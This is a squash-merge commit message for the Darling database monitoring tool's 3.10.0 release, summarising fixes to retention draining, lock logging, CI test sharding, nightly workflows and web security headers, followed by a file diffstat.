The build wait now counts only sessions that hold a write lock on the wide table or one of its partitions. A writer whose start time cannot be read counts as open. The plan skips the hours such a writer holds back, so they take no build slots and older hours still build. The wait can repeat on two ticks in a row, or a writer can stay open for over an hour. Then the service logs a warning with the session's pid, start time, application name and backend type, at most every 10 minutes.

A schema upgrade step that cannot get its table lock in time logs the sessions holding locks on the store's tables. That list now includes sessions that only read a table, because a plain read also blocks most schema changes. Each entry lists pid, backend type, application name, state, transaction start, wait event, table and lock mode. For an autovacuum worker it adds the first 200 characters of its query, which shows an anti-wraparound vacuum. The lookup has its own 5 s statement timeout and 2 s lock timeout. A failed lookup no longer mutes the next 10 minutes, and a shutdown during the lookup stops it.

Fixes #5582

* The retention drain gives way to collection, stops at a 30-minute budget and continues within the hour (#5595)

On a large store, the first retention drain after the 3.10 upgrade deleted about 18 M rows in 40 minutes and paced only its WAL. Collection fell behind while it ran, and servers skipped collection slots.

Every batched delete now goes through one gate. Before each batch, the drain waits while collection is behind, re-checking every 5 s. Collection is behind for the first 10 minutes after the service starts collecting. It is also behind when at least 3 slots were skipped in the last 10 minutes. Those must be at least 2.5% of the slots that came due.

A pass spends at most half its budget waiting. After each batch it pauses for as long as the batch ran, at most 60 s.

A pass stops at the next batch boundary once it has run 30 minutes, waits included. The run record says where it stopped and how many tables it did not reach, and the status stays SUCCESS. The next pass then comes due within an hour of the stop, not a day later, until a pass drains every table. This applies to the daily purge and to purge_now.

The rule was retuned after a read of a normal day. A synthetic small-store hour reads behind in none of 60 checks. A replay of the large store's backlog kept p95 lag at 0.99 to 1.01 times the phase with no drain. The wide-table drain's p95 write latency was 0.44 times.

Fixes #5592

* The at-the-cap aggregate test no longer races TimescaleDB's scheduler (#5605)

The live aggregate quiesce tests no longer need to see a TimescaleDB job worker alive inside a time window. The scheduler ends a worker whose job was stopped at its next wake. On a loaded machine that can be within milliseconds of the stop.

The hold test and the at-the-cap test give their gate function a trap. The trap counts the scheduler's cancel and keeps waiting, so the worker survives 3 s or more after it. The hold test waits for that count instead of for two seconds. Both tests also check that no cancel came from anywhere but the scheduler.

The cancel test polls every ten minutes, so the sweep can never reach its second look before the test cancels it. The comments on the quiesce sweep give the measured scheduler timing.

Without the trap, a cancel ended the worker at once with an `invalid transaction termination` error in the PostgreSQL log. That is how the CI failure looked.

Fixes #5603

* Test map: shared live-store fixtures are linked, keep-full counts only the pull request's own change, and the shadow check reads Guard classes and the latest attempt (#5459) (#5611)

CI's test map now links every class of a shared live-store test collection to the files its fixture ran. This fixes the 11 change-related misses among the 55 replay misses. The other 44 misses are unrelated to the change and are listed in the accepted file.

A keep-full file now counts only when the pull request itself changes it. The FULL rows among the 76 shadow rows go from 68 to about 47.

The shadow check now reads the reports from the Guard tests job. For each downloaded artifact, it keeps only the newest attempt.
The shard timing uploads now set overwrite, so a re-run replaces the old artifact whole.

Refs #5459

* Release 3.10.0: changelog entries for the PRs merged after the third splice (#5613)

This adds fourteen entries for the PRs that merged to dev after the third splice: two Added, three Changed and nine Fixed. Each full entry goes into the 3.10.0 archive, its title-only index line goes into the CHANGELOG.md index, and each reference gets a link definition. The archive census is regenerated.

The four modes of the changelog archive script all succeed. The changelog, version, release gate, census and guard test classes pass.

Changelog entries for the 3.10.0 PRs merged after the third splice.

* Slow Lite test classes stop queuing behind database schema builds (#5208) (#5612)

* Lite tests copy a prebuilt database instead of rebuilding the schema under the shared write lock (#5208)

* Lite test copies of the prebuilt database get their own store identity, and 63 more test files use the copy (#5208)

* Keep the real InitializeAsync in tests that reset, restart or reopen an existing file (#5208)

* InitializeFromTemplateAsync is as safe to call again as InitializeAsync (#5208)

A repeat call on a path that already holds the store now runs the real
InitializeAsync instead of copying over it, so a helper that initializes once per
call no longer throws 'already exists' (ArchiveGroupedWatermarkReadTests, 38 tests).

* CI: a changelog splice takes the docs fast path (#5615)

A changelog splice changes CHANGELOG.md, docs/changelog/<version>.md and tools/changelog/archive-census.txt. The census is a text file that was not on the documentation list. So the splice ran about 17 minutes of Guard tests and whole-tree guards instead of the docs fast path. The exact census path is now on the list in both copies in build.yml and in ci-select.py. A test pins that a splice is docs-only and that the three lists agree. The CI replay accepts one past splice run, on which an unrelated live-database class failed.

What this gives up: ChangelogIndexAndArchiveTests no longer runs on a splice pull request, as it already did not run on a CHANGELOG.md-only change. The splice lane runs it before it pushes, and the nightly runs the full suite.

Fixes #5614

* MigrationLockHolderLogTests accepts the autovacuum query text the lock log writes by design (#5619)

#5610 added a check to MigrationLockHolderLogTests that no part of the migration lock log line contains "query:". The log adds the first 200 characters of the query for an autovacuum worker on purpose. The test passed review and CI because most runs have no autovacuum worker holding a lock on a darling table. When one did, the test failed the pull request.

The test now splits the line into one entry per session. The entries for its own holder and reader must exist and carry no query text. Any entry that carries query text must be an autovacuum worker's. The checks that the two sessions' statements never appear stay on the whole line. No product code changes.

Fixes #5617

* Darling live tests stop depending on PUBLIC's CONNECT on the shared test database (#5618) (#5621)

A Darling live test ran the managed provisioning batch inside a scratch database. That batch revokes CONNECT from PUBLIC on the database named darling. Database privileges belong to the whole cluster, so every later test that relied on PUBLIC's CONNECT there failed with permission denied. The password-key test now points its database-level statements at its own scratch database. The redaction test grants its own login CONNECT instead. A new guard on the cluster-roles test collection fails the test that leaves PUBLIC without CONNECT, by name, and no product code changes.

Fixes #5618

* Lite tests that re-initialize a store stop holding up the other tests (#5208) (#5622)

Many Lite test classes were slow because they queued behind other tests that held the one database write lock. The copy step that builds each test store, and helpers that rebuilt the same store on every call, held it longest. The copy step now opens its connection and renews the copy's identity first, so the lock is held only to swap the connection in. The helpers build a store once, and a race test writes 1,000 keys instead of 4,000 but still fails without the write lock. Four groups that stand in for the CI shards ran in 45 to 80 s instead of 106 to 119 s on a laptop. WebhookCooldownSeedTests now posts to an in-process endpoint instead of a closed port, so it takes 0.2 s instead of 20.5 s.

Fixes #5208

* Nightly: the Lite and Darling PostgreSQL tests run in PR CI's shards, so the nightly publishes sooner (#5620)

The nightly ran each test suite in one step, so its publish job landed about 50 minutes after the run started. PR CI runs the same suites in shards in about 19 minutes.

The cut, the Cost=Slow skip, the chunks and their runs moved from two build.yml steps into two scripts, .github/scripts/run-darling-pg-shard.ps1 and .github/scripts/run-lite-shard.ps1. build.yml and nightly.yml both call them, and PR CI's cut is unchanged. The nightly's Darling PostgreSQL job is now six shards with the same test set as before. A new Lite job runs four shards, with every class, the Guard classes too. The build job no longer runs tests, and its timeout is back at 90 minutes.

Publish now waits for every shard of both suites, and runs only on the dev ref. The publish input stays as a second gate. The test map and AltCover jobs also wait for the Lite shards. The shard scripts and the Lite packer are in the path filters and the slow-skip build inputs, so a change to one runs the suites.

A proof run from the branch had everything publish needs done 16.6 minutes after it started. The last three dev nightlies took 44.8 to 49.4 minutes. The legs' class counts sum to the whole suites.

Fixes #5616

* Nightly: every job checks out the commit the run was dispatched at (#5623)

The nightly's seven checkouts used the branch name. Each job checked out the branch tip at the moment it started. So a merge to dev during a nightly changed what later jobs built, the shards and publish among them. Dev had to freeze during every run.

Every checkout now uses the run's commit (github.sha), the dispatched branch's tip at dispatch time. A branch dispatch still builds its own branch, and the scheduled path still builds dev's tip from when it was dispatched. NightlyCheckoutCommitPinTests (a Guard class) fails if any nightly checkout goes back to a branch name, or if the redispatch job gains a checkout.

Fixes #5616

* Pull request CI runs only the test classes the test map picks (#5459) (#5624)

A pull request now runs only the test classes that the nightly test map picks for its diff. The Darling PostgreSQL shards, the Lite shards and the build job's Darling pass keep only those classes, and the Guard stage still runs in full. If the selection is full, missing, unreadable or empty, they run everything. Pushes, merge-queue runs and the nightly always run everything.

Replaying past failures against the map found six misses. None was caused by its pull request's change, so each is listed as accepted with the evidence, and the replay now finds none.

A class gated on a PostgreSQL variable that only CI sets is always kept. A nested class is matched by its own name.

A pull request into main, the release pull request, always runs every class, because the selection and the Cost=Slow skip both check the base branch.

Fixes #5459

* Darling's hourly deadlock maintenance reads stored findings and alerts in bounded pages (#5625) (#5626)

Darling's hourly maintenance step over stored analysis findings no longer times out on a large store. It reads a fixed range of the findings table per page. A page costs the same whatever the table's size.

The two stages over stored alerts now read one server at a time through the alert log's existing index. Deadlock alerts are paged per server, and finding alerts are paged per server and metric. Each page is a range of that index. That bounds it by its size on PostgreSQL 16, 17 and 18 alike. The report lookup uses the existing index on stored reports. No store migration is needed.

Live tests at about 500,000 alert rows check the plans, the rows read per page, and that every raw row is rewritten once.

Fixes #5625

* The pre-lock check trusts the install's own service SID and an existing install gets exact steps (#5628)

- The pre-lock check trusts the product's own service account only in the folders and files the service writes.
- One shared list names those places, and the install lock and the check both read it.
- The refusal for an install whose service runs from the refused folder gives numbered steps to move to a new folder.
- A service registered elsewhere, or none, gets the fresh-folder wording.
- Paths darling.json names inside the old folder are listed, quoted and capped, and the old folder is kept until they move.
- upgrade-darling.ps1 applies its -Source default in the body, so it runs on Windows PowerShell 5.1 from a staging folder.
- A new CI check runs both scripts over real 3.7.1 and 3.9.0 installs, and checks each release zip against the release's checksum file.
- The printed by-hand fix grants the service read and execute on the install folder.
- The compose quickstart pulls the :latest image.

Fixes #5627.
Fixes #5629.

* Darling's deadlock maintenance logs a line when a stage recovers after a failed pass (#5637)

Darling's hourly PostgreSQL deadlock maintenance logged a warning when a stage failed a pass. It logged nothing when a later pass succeeded, so the last line an operator saw was the failure. A stage that succeeds after one or more failed passes now logs one information line that names the stage and how many passes had failed. A clean pass with no earlier failure logs nothing new, and the back-off and skip logic are unchanged.

Fixes #5634

* Darling web: response security headers; clearer consent text; connection-test errors carry less detail; token honored on loopback listeners (#5636)

The Darling web dashboard now sends four response headers on every reply: a content security policy, X-Frame-Options, X-Content-Type-Options and Referrer-Policy. The sign-in and landing pages carry a policy that names the hash of their own inline blocks.

The confirmation shown before a captured query is re-run for its actual plan now adds one sentence. It says the text was captured from the monitored server. The Darling Viewer, Lite and the shared plan history windows show the same sentence.

A failed connection test from an MCP tool or a web route now answers with one fixed sentence naming the host and port. The driver's text goes to the service log on one bounded line, with the typed password and AWS external ID redacted. The host command line and the desktop Viewer's Add dialog keep the detail.

A token set in mcp.network or web.network now gates the loopback listeners too. Local MCP clients send an Authorization header, and local browsers sign in with the token. With no token configured nothing changes. A token that is set but blank or cannot be decrypted stops that listener from starting, in loopback-only and network mode alike.

The Darling MCP server answers 415 to a POST that does not carry a JSON Content-Type. The check runs after the Host, CIDR and token gates, so a caller that fails a gate gets 403 or 401 first. The service log records each 415 the way it records the other refused requests. The Viewer's copy-MCP-command button now tells the user how to add the token header.

Lite's MCP server answers 415 to a POST that does not carry a JSON Content-Type in the same way.

* Release 3.10.0: last changelog splice and README sync (#5635)

Adds the changelog entries for #5626 and #5628 to the 3.10.0 index and to docs/changelog/3.10.md. The #5628 entry cites its own PR. The 3.10.0 date is now 2026-10-09. A second Important entry covers the Windows upgrade stop for installs that ordinary users can write to.

The Important note now names store migrations V158 through V173, as dev is at schema 173. The README gains the shared time range picker, the text column filters and Lite's DuckDB memory limit setting.

The branch merges dev, which brings in the entries for #5636 and #5637, and every entry from both sides is kept. The archive split and census run last. The 3.10.0 census row is 295 entries, and verify and roundtrip both pass. No duplicate section headers and no missing reference links were found in the 3.10.0 entries.

The last changelog splice for 3.10.0, and the README sync.

---------

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: ianwalkeruk <37576946+ianwalkeruk@users.noreply.github.com>
Co-authored-by: Claude Sonnet 5.5 <noreply@anthropic.com>
---
 .claude/skills/lane-orders/SKILL.md           |   40 +-
 .claude/skills/release-checklist/SKILL.md     |   73 +-
 .github/FUNDING.yml                           |    2 +
 .github/ISSUE_TEMPLATE/bug_report.yml         |   12 +-
 .github/ci-history/failures.jsonl             |  731 +++
 .github/ci-history/replay-accepted.txt        |  129 +
 .github/darling-paths-filter.yml              |   13 +-
 .github/scripts/altcover-probe.py             |  513 ++
 .github/scripts/ci-select.py                  | 1255 ++++
 .github/scripts/darling-upgrade-shapes.ps1    |  265 +
 .github/scripts/lite-shard-pack.py            |  586 ++
 .github/scripts/lite-timing-top.py            |  179 +
 .github/scripts/run-darling-pg-shard.ps1      |  142 +
 .github/scripts/run-lite-shard.ps1            |  221 +
 .github/scripts/tag-reads-lite.py             |   88 +
 .github/scripts/test-map.py                   |  662 ++
 .github/workflows/build.yml                   | 1524 ++++-
 .github/workflows/claude-review-guard.yml     |  441 +-
 .github/workflows/claude-review.yml           |  591 +-
 .github/workflows/darling-upgrade-shapes.yml  |   82 +
 .github/workflows/nightly.yml                 |  918 ++-
 .gitignore                                    |   10 +
 CHANGELOG.md                                  |  609 ++
 .../ActiveQueriesDatabaseFilterLiveTests.cs   |  278 +
 .../ActiveQueriesWidenedColumnsTests.cs       |  165 +
 .../ActualPlanConsentNoticeTests.cs           |   58 +
 .../ActualPlanSnapshotResolveLiveTests.cs     |   95 +
 .../Darling.Tests/AdminPageBehaviourTests.cs  |  130 +
 Darling/Darling.Tests/AdminPageTests.cs       |  139 +
 .../AdminServerEditBehaviourTests.cs          | 1668 +++++
 .../AdminServersRouteLiveTests.cs             |  157 +
 .../Darling.Tests/AdminServersRouteTests.cs   |  254 +
 .../AdminServersVersionLabelTests.cs          |   50 +
 Darling/Darling.Tests/AgEveryViewLiveTests.cs |  128 +
 .../Darling.Tests/AggregateJobQuiesceTests.cs | 1015 +++
 .../AlertCooldownClockStepTests.cs            |   45 +-
 .../AlertDelivererInventoryPinTests.cs        |  239 +
 .../AlertDeliveryChannelTests.cs              |  377 ++
 Darling/Darling.Tests/AlertEngineTests.cs     |   12 +-
 .../AlertHistoryAdviceLiveTests.cs            |  307 +
 .../Darling.Tests/AlertHistoryAdviceTests.cs  |  149 +
 .../AlertHistoryDetailLabelsTests.cs          |    3 +-
 .../AlertHistoryDismissBehaviourTests.cs      |  202 +
 .../Darling.Tests/AlertHistoryDismissTests.cs |  347 ++
 .../AlertHistoryLazyRenderTests.cs            |   14 +-
 .../AlertHistoryRangePageTests.cs             |  253 +
 .../AlertHistoryRowSeverityTests.cs           |    1 +
 .../AlertMasterSwitchSurfaceTests.cs          |    2 +
 .../AlertMetricClassifierTests.cs             |    3 +
 .../AlertNotebookRenderBehaviourTests.cs      |    1 +
 .../AlertNotebookRenderClientTests.cs         |    9 +-
 .../AlertNotebookTableCatalogTests.cs         |    2 +
 .../AlertReadFailureSurfaceTests.cs           |   22 +-
 .../AlertStatementCutOrderTests.cs            |  216 +
 .../AlwaysOnXeReadOnlyIntentTests.cs          |  423 ++
 .../Darling.Tests/AlwaysOnXeSessionsTests.cs  |  337 +
 ...nalysisFactsReadRunsDetectorParityTests.cs |    1 +
 .../Darling.Tests/AnalysisFindingsTabTests.cs |  185 +
 .../AnalysisReadCancellationPinTests.cs       |    1 +
 .../AnalysisWindowEmptyRuleParityTests.cs     |    1 +
 .../AnomalyDetectorErrorGuardLiveTests.cs     |    6 +-
 .../AnomalyNullWindowLiveTests.cs             |    2 +-
 .../AnomalyTileWindowEndTests.cs              |    1 +
 .../Darling.Tests/AsOfWindowAnchorTests.cs    |    8 +-
 .../AvailabilityGroupsTabRefreshTests.cs      |   26 +-
 .../AwsAssumeRolePackageTests.cs              |   73 +
 .../AwsAssumedRoleCredentialsTests.cs         |  530 ++
 .../AwsExternalIdNeverPrintedTests.cs         |  240 +
 .../AwsPerServerRoleLiveTests.cs              |  569 ++
 .../AwsPerServerRoleRungTests.cs              |  283 +
 .../Darling.Tests/AwsRoleAllowlistTests.cs    |  317 +
 .../AwsRoleBundleEndToEndLiveTests.cs         |  186 +
 .../AwsRoleCredentialCacheTests.cs            |  195 +
 Darling/Darling.Tests/AwsRoleEditTests.cs     |  468 ++
 .../Darling.Tests/AwsRoleMessageTextTests.cs  |  248 +
 Darling/Darling.Tests/AwsRoleSettingsTests.cs |  189 +
 Darling/Darling.Tests/AwsStsTestSupport.cs    |  163 +
 .../AzureFallbackMessageTests.cs              |   71 +
 .../AzureForeignStatePruneTests.cs            |    7 +-
 .../AzureMasterAnalysisScopeLiveTests.cs      |    4 +-
 .../Darling.Tests/AzureSiblingGrowthTests.cs  |   30 +-
 .../AzureSqlDatabaseHardwareTests.cs          |   15 +-
 .../AzureSqlDatabaseHostMathTests.cs          |    1 +
 .../AzureSqlDatabaseMemoryScopeTests.cs       |   16 +-
 .../AzureSqlDatabaseOwnFiguresTests.cs        |   16 +-
 .../BaselineDiscontinuityRenderTests.cs       |    5 +-
 Darling/Darling.Tests/BaselineSupplyTests.cs  |   19 +-
 .../Darling.Tests/BenefitScorerWiringTests.cs |    2 +
 .../BlockingDatabaseFilterLiveTests.cs        |  362 ++
 .../BlockingListPlanFlagsLivePostgresTests.cs |  237 +
 .../BlockingThresholdCoverageTests.cs         |   89 +
 .../BlockingWaitsFilteredEmptyWordingTests.cs |   37 +
 .../BlockingWaitsWebDispatchLiveTests.cs      |  161 +
 .../BoundedCompressionDdlTests.cs             |  190 +
 .../BoundedDdlBusyStreakTests.cs              |  163 +
 .../BoundedDdlSingleCopyTests.cs              |   82 +
 ...BugReportTemplateDiagnosticsBundleTests.cs |   42 +
 .../BuiltinAlertPersistenceRungTests.cs       |    1 +
 .../CaggGroupIndexDropLiveTests.cs            |  138 +
 .../viewerservertab-eventwires.baseline.txt   |    2 -
 .../CaptureDownChunkOrderTests.cs             |    3 +-
 .../ChartIntegerTicksPinTests.cs              |    1 +
 .../CiShardCommandLineBudgetTests.cs          |  131 +
 .../Darling.Tests/CiShardHangReportTests.cs   |  225 +
 .../ClipboardWriteCensusTests.cs              |    2 +
 .../CollectionCaveatLedgerTests.cs            |    2 +
 .../CollectionCaveatsParityTests.cs           |    1 +
 .../CollectionCaveatsWebTests.cs              |  304 +
 .../CollectionGapAtStartTests.cs              |  351 ++
 ...lectionHealthDetachedSweepPressureTests.cs |  177 +
 .../CollectionHealthEffectiveCadenceTests.cs  |  198 +
 ...ealthEverySurfaceEffectiveIntervalTests.cs |  306 +
 .../CollectionHealthKeyedLookupParityTests.cs |  501 ++
 .../CollectionHealthOracleSql.cs              |  482 ++
 .../CollectionHealthRunTimeFieldsLiveTests.cs |  587 ++
 ...lectionHealthScheduleOverridesLiveTests.cs |  207 +
 .../CollectionHistoryAuditTests.cs            | 1401 +++++
 .../CollectionLogDrainForensicsStoreTests.cs  |   69 +-
 .../CollectionLogFanoutRollupStoreTests.cs    |    1 +
 .../CollectionLogSegmentByLiveTests.cs        |  722 +++
 ...CollectionLogStoreProbeAttributionTests.cs |    1 +
 ...ctionLogWebRowPreservesFullTextPinTests.cs |    1 +
 .../CollectionNoteLatestRunTests.cs           |    1 +
 .../CollectionOutputBesideCostTests.cs        |    5 +-
 .../CollectorDatabaseScopeRungTests.cs        |   12 +-
 .../CollectorFaultStackLogTests.cs            |  202 +
 .../CollectorHealthClassifierTests.cs         |   22 +-
 .../CollectorMeasurementSeamTests.cs          |   16 +-
 .../Darling.Tests/CollectorMemoryKnobTests.cs |    2 +
 .../CollectorRunTimeCliVerbTests.cs           |  485 ++
 .../CollectorRunTimeRungTests.cs              | 1036 +++
 .../Darling.Tests/CollectorRunTimeTests.cs    |  610 ++
 .../CollectorRunTimeViewerLiveTests.cs        |  545 ++
 .../CollectorRunTimeViewerTests.cs            |  403 ++
 .../CollectorScheduleEditorSaveGuardTests.cs  |  146 +
 .../CollectorScheduleResetStatusTests.cs      |   46 +
 ...llectorScheduleUseDefaultRunAtLineTests.cs |   81 +
 .../CollectorStallProbeStoreTests.cs          |   13 +
 .../CollectorStateContractTests.cs            |    1 +
 .../ColumnFilterPersistenceTests.cs           |  827 +++
 .../Darling.Tests/ColumnFilterPopupTests.cs   |  323 +
 .../ColumnFilterWiringCensusTests.cs          |  172 +
 .../ColumnGroupsBehaviourTests.cs             |  123 +
 .../ColumnValueFilterCasesTests.cs            |  156 +
 .../ColumnValueListNameRuleTests.cs           |  120 +
 Darling/Darling.Tests/ColumnValueListTests.cs |  355 ++
 .../CommandDeadlineScannerAdoptionTests.cs    |    1 +
 .../CommandPlaneCommandTimeoutTests.cs        |    6 +-
 .../CommentFilterAdoptionTests.cs             |   42 +-
 .../ComposeAnnotationServerClockTests.cs      |    4 +-
 .../ComposeCatalogStatementTextCensusTests.cs |  101 +
 .../ComposeClientTimeoutAttributionTests.cs   |  247 +
 .../ComposeDataFloorLiveTests.cs              |  701 +++
 .../ComposeHourlyEdgesLedgerGuardLiveTests.cs |  250 +
 .../ComposeHourlyEdgesRunnerTests.cs          |  286 +
 .../ComposeHourlyRawEdgesGuardLiveTests.cs    |  681 ++
 ...ComposeHourlyRawEdgesModuleMapLiveTests.cs |  556 ++
 Darling/Darling.Tests/ComposeImageTagTests.cs |   80 +
 .../ComposeOpenPhaseTimeoutTests.cs           |  180 +
 .../ComposeParameterCoverageTests.cs          |  150 +-
 ...poseQueryStoreRankedSingleScanLiveTests.cs |  308 +
 .../ComposeQueryStoreRankedSingleScanTests.cs |  143 +
 ...mposeQueryStoreRawDedupeFilterLiveTests.cs |  342 +
 .../ComposeQueryStoreStampCompileTests.cs     |  359 ++
 ...omposeQueryStoreStampExactnessLiveTests.cs |  166 +
 .../ComposeQueryStoreStampGuardLiveTests.cs   |   91 +
 ...oseQueryStoreStampInvalidationLiveTests.cs |  139 +
 .../ComposeQueryStoreStampPlanLiveTests.cs    |  185 +
 ...ComposeQueryStoreWideExactnessLiveTests.cs |    5 +-
 .../ComposeRollupDataFloorLiveTests.cs        |  226 +
 .../ComposeServerScopeByIdTests.cs            |  539 ++
 .../Darling.Tests/ComposeSourceRouterTests.cs |  350 ++
 .../Darling.Tests/ComposeStampLiveSupport.cs  |  232 +
 ...eStatementTimeoutV147MigrationLiveTests.cs |   46 +-
 .../ComposeTimeoutPhaseLiveTests.cs           |  120 +
 .../CompressionPhaseAssignmentTests.cs        |    5 +-
 .../ConfigDatabaseFilterLiveTests.cs          |  302 +
 .../Darling.Tests/ConnectionTestReplyTests.cs |  301 +
 .../ConsumedTimestampFrameDisciplineTests.cs  |   36 +-
 .../ControlPlaneReloadDurabilityTests.cs      |    6 +-
 .../CreationTimeClockFrameDisciplineTests.cs  |    1 +
 .../CustomAlertResolutionNameFilterTests.cs   |   45 +
 .../CustomAlertResolveGrantLiveTests.cs       |  123 +-
 .../DailyCollectorDetachTests.cs              | 1061 ++++
 .../DailyDeadlockWindowCensusTests.cs         |    2 +
 .../DailyRunCapAndWatchdogTests.cs            |  895 +++
 .../DailySummaryAzureMasterScopeLiveTests.cs  |   12 +-
 .../DailySummaryNotCarriedTests.cs            |    2 +
 .../DailySummaryReadShapeTests.cs             |    6 +-
 .../DarkPastRetentionReadsOfflineTests.cs     |    8 +
 Darling/Darling.Tests/Darling.Tests.csproj    |   30 +
 .../Darling.Tests/DarlingActualPlanTests.cs   |    1 +
 Darling/Darling.Tests/DarlingAgReaderTests.cs |  183 +
 .../DarlingAgStatesReaderLiveEqualityTests.cs |    6 +-
 Darling/Darling.Tests/DarlingAlertingTests.cs |    1 +
 .../DarlingAllowFromListGateTests.cs          |  339 +
 .../DarlingAnalysisPipelineTests.cs           |   38 +-
 .../DarlingAnomalyBaselineTests.cs            |    1 +
 .../DarlingBlockingReaderServerClockTests.cs  |  102 +-
 .../DarlingBlockingStatsReadTests.cs          |  177 +-
 .../DarlingBlockingTrendEmptyTests.cs         |    6 +
 .../DarlingCidrAllowListTests.cs              |  418 ++
 .../DarlingCliCommandsHostCheckTests.cs       |    7 +-
 .../Darling.Tests/DarlingCliCommandsTests.cs  |  330 +-
 .../Darling.Tests/DarlingCliSealKeyTests.cs   |  113 +
 .../DarlingCliUnusableStoreConnectionTests.cs |   20 +-
 .../DarlingCloudIdentityProbeTests.cs         |   33 +-
 .../DarlingCollectionHealthLatestNoteTests.cs |   41 +-
 .../DarlingCollectionLogReadTests.cs          |  156 +-
 .../DarlingCollectorRunTimeReaderTests.cs     |  242 +
 .../DarlingCommandExecutorTests.cs            |   21 +
 Darling/Darling.Tests/DarlingComposeTests.cs  |  494 +-
 .../Darling.Tests/DarlingConfigAwsTests.cs    |  147 +
 Darling/Darling.Tests/DarlingConfigTests.cs   |  367 +-
 .../Darling.Tests/DarlingCustomViewsTests.cs  |    2 +-
 .../DarlingDailySummaryRangeTests.cs          |    5 +-
 .../DarlingEmptyEnumerationInventoryTests.cs  |   26 +-
 .../DarlingEmptyEnumerationNoteTests.cs       |   73 +-
 .../DarlingEncryptPasswordStreamTests.cs      |  172 +
 .../DarlingEndpointToggleCliTests.cs          |   75 +-
 ...tBaselineCoverageReadPlanShapeLiveTests.cs |   15 +-
 .../DarlingEventBaselineCoveredDaysTests.cs   |    2 +
 .../DarlingExportViewerConfigTests.cs         |  102 +-
 .../DarlingFirewallCheckTests.cs              |   55 +
 .../Darling.Tests/DarlingFleetReaderTests.cs  |   53 +-
 .../Darling.Tests/DarlingHeartbeatTests.cs    |  886 +++
 .../Darling.Tests/DarlingHostBindingTests.cs  |  180 +
 .../DarlingHostConfigurationPinTests.cs       |  142 +
 .../DarlingHttpRefusalLogTests.cs             |    1 +
 .../DarlingInstallLocationTests.cs            |  850 ++-
 .../Darling.Tests/DarlingListenerTlsTests.cs  | 1041 ++++
 .../DarlingManagedPostgresTests.cs            |  393 +-
 .../Darling.Tests/DarlingManagedRolesTests.cs |  201 +-
 .../DarlingMcpActiveQueriesBudgetLiveTests.cs |   88 +-
 .../DarlingMcpAlertToolsTests.cs              |    6 +-
 .../DarlingMcpBlockingToolsTests.cs           |  436 +-
 .../DarlingMcpConfigHistoryToolsTests.cs      |  336 +-
 .../DarlingMcpCustomViewToolsTests.cs         |   72 +
 .../Darling.Tests/DarlingMcpDataToolsTests.cs |   65 +-
 .../DarlingMcpDeadlockProcessesLiveTests.cs   |  142 +
 .../DarlingMcpDefaultTraceToolsTests.cs       |    2 +-
 ...ngMcpDefaultTraceToolsWindowNoticeTests.cs |  229 +
 .../DarlingMcpFinOpsInventoryToolsTests.cs    |  220 +
 ...rlingMcpFinOpsRecommendationsToolsTests.cs |  150 +
 .../DarlingMcpFinOpsToolsTests.cs             |  213 +
 .../DarlingMcpHealthParserToolsTests.cs       |   40 +-
 ...ngMcpHealthParserToolsWindowNoticeTests.cs |  437 ++
 .../DarlingMcpHealthToolsTests.cs             |    2 +
 .../DarlingMcpHostGateLiveTests.cs            |  631 +-
 Darling/Darling.Tests/DarlingMcpHostTests.cs  |  340 +
 .../DarlingMcpJobHistoryToolTests.cs          |  931 +++
 .../Darling.Tests/DarlingMcpJobToolsTests.cs  |    8 +-
 .../DarlingMcpLatchSpinlockToolsTests.cs      |  112 +-
 .../DarlingMcpMemoryGrantToolsTests.cs        |  130 +
 .../DarlingMcpObjectStatsToolsTests.cs        |   35 +-
 .../DarlingMcpPgPlanToolsTests.cs             |   52 +
 .../DarlingMcpPgWindowD8aLiveTests.cs         |  315 +
 .../DarlingMcpPgWindowD8bLiveTests.cs         |  262 +
 .../DarlingMcpPlanCorrectionToolsTests.cs     |  171 +-
 .../Darling.Tests/DarlingMcpPlanToolsTests.cs |  131 +-
 .../Darling.Tests/DarlingMcpPvsToolsTests.cs  |   26 +-
 .../DarlingMcpQueryStoreHistoryToolsTests.cs  |  182 +
 .../DarlingMcpServerAdminToolsTests.cs        |  179 +-
 .../DarlingMcpServerTagToolsTests.cs          |  401 ++
 .../DarlingMcpServerTrendToolsTests.cs        |  728 +++
 .../DarlingMcpSessionToolsTests.cs            |  335 +-
 .../DarlingMcpStoreHostToolsLiveTests.cs      |   10 +-
 .../Darling.Tests/DarlingMcpTlsLiveTests.cs   |  346 +
 Darling/Darling.Tests/DarlingMcpToolsTests.cs |    2 +-
 .../DarlingMcpTrendToolsTests.cs              |  204 +-
 .../DarlingModuleMapGroupedSourceLiveTests.cs |  307 +
 .../DarlingModuleMapRecentRefreshLiveTests.cs |  527 ++
 .../Darling.Tests/DarlingModuleMapTests.cs    |   44 +-
 .../DarlingNetworkConfigEditorTests.cs        |  138 +
 Darling/Darling.Tests/DarlingNetworkTests.cs  |  153 +-
 .../DarlingObservabilityTests.cs              |    4 +-
 .../DarlingOwnedSecretsCensusTests.cs         |  236 +
 .../DarlingPasswordKeyFileHardeningTests.cs   |  231 +
 .../DarlingPasswordKeyFileTests.cs            |  915 +++
 .../DarlingPasswordKeyFileUnixTests.cs        |  311 +
 .../DarlingPasswordKeyRuntimeTests.cs         |  183 +
 .../DarlingPasswordKeyStateTests.cs           |  231 +
 .../DarlingPasswordKeyStoreLiveTests.cs       | 1100 ++++
 .../DarlingPathFilterGateTests.cs             |   29 +
 .../DarlingPerDatabaseProbeFailureTests.cs    |    7 +-
 .../DarlingPgDatabaseStatsLiveTests.cs        |    4 +
 ...ngPgIndexBloatCoverageLivePostgresTests.cs |    2 +-
 .../DarlingPgReadSqlParsesLiveTests.cs        |    1 +
 .../DarlingPgUnresolvedZoneWarningTests.cs    |   52 +
 .../DarlingPrintEndpointTokenTests.cs         |   49 +-
 .../DarlingPvsReaderServerClockTests.cs       |    4 +-
 .../Darling.Tests/DarlingQueryHeatmapTests.cs |  198 +-
 .../DarlingQueryStoreRegressionsTests.cs      |  385 +-
 .../DarlingReadsUseOnlyStoreViewsTests.cs     |   16 +-
 .../DarlingReproScriptParityTests.cs          |  127 +
 .../Darling.Tests/DarlingRetentionTests.cs    |  102 +-
 .../DarlingRunTimeSchedulingTests.cs          |  708 +++
 .../DarlingRuntimePreflightTests.cs           |   89 +
 .../DarlingSecretsCanUnprotectTests.cs        |   49 +
 .../DarlingSecretsDecryptFailureTests.cs      |    8 +-
 .../DarlingSecretsOwnedReferenceTests.cs      |  500 ++
 .../DarlingSecuritySplitLiveTests.cs          |  119 +-
 .../Darling.Tests/DarlingSelfAlertTests.cs    |  731 ++-
